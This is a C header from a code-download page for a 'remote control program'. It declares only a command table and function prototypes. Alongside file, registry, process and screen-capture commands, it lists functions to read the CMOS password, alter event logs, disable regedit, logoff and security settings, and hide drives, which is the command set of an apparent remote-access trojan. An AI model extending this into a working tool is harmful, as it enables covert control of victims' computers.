⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 commandtable.h

📁 这是一个远程控制程序
💻 H
字号:
//---------------------------------------------------------------------------
#ifndef CommandTableH
#define CommandTableH

#include "CommandDef.h"
#include "CNVSocket.h"

#define SVR_VER         "V1.0"
#define RESULT_SUCCESS  "+OK:"
#define RESULT_FAILT    "-ERR:"

struct TCommandTable{
        TCommandType    CommandType;    //命令类型
        int             ParamCount;     //参数个数
        void (*CommandFunc)(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);//实现函数
};

void Cmd_DoCommand(TCommandType CommandType,VInt32 ParamCount,char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);

void Cmd_Error(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_GetServerVer(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);

/*************文件管理类**************/
void Cmd_GetDriverList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_GetPathList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_GetFileList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);

void Cmd_MkDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_RdDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_RenFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_SearchFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_ChDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_DelFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_DelPathFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_CopyDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_MoveFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_CopyFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_DownLoadFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_UpLoadFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);

/*************注册表管理类************/
void Cmd_GetKeyNames(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_GetValuesNames(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_CreateKey(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_DeleteKey(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_WriteValue(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_DeleteValue(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_RenameValue(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
/*************窗口管理****************/
void Cmd_ShowMaxWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_ShowMinWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_ShowActiveWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_ShowCloseWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_ShowHideWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_EnabledWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_GetWindowsList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_ListRunProc(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_KillProc(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);

void Cmd_GetNetInfo(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_GetCmosPwd(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_GetEvtStrings(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_SetEvtStrings(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_OpenDoc(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);

void Cmd_Reboot(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_SysInfo(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_SetIPAddress(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_SetComputerName(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);

void Cmd_CapScreen(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_MouseEvent(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);

void Cmd_ShowDesktop(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_SetSysHotKey(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_EnabledRegedit(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_ShowShellTray(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_SetPowderState(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_NoMouseRight(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_NoLogOff(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_NoDeletePrinter(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_NoNetSetup(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_NoProfilePage(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_NoSecCPL(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_NoChangeStartMenu(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_NoSetFolders(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_NoDispCPL(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);
void Cmd_HideDrivers(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket);

#endif

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -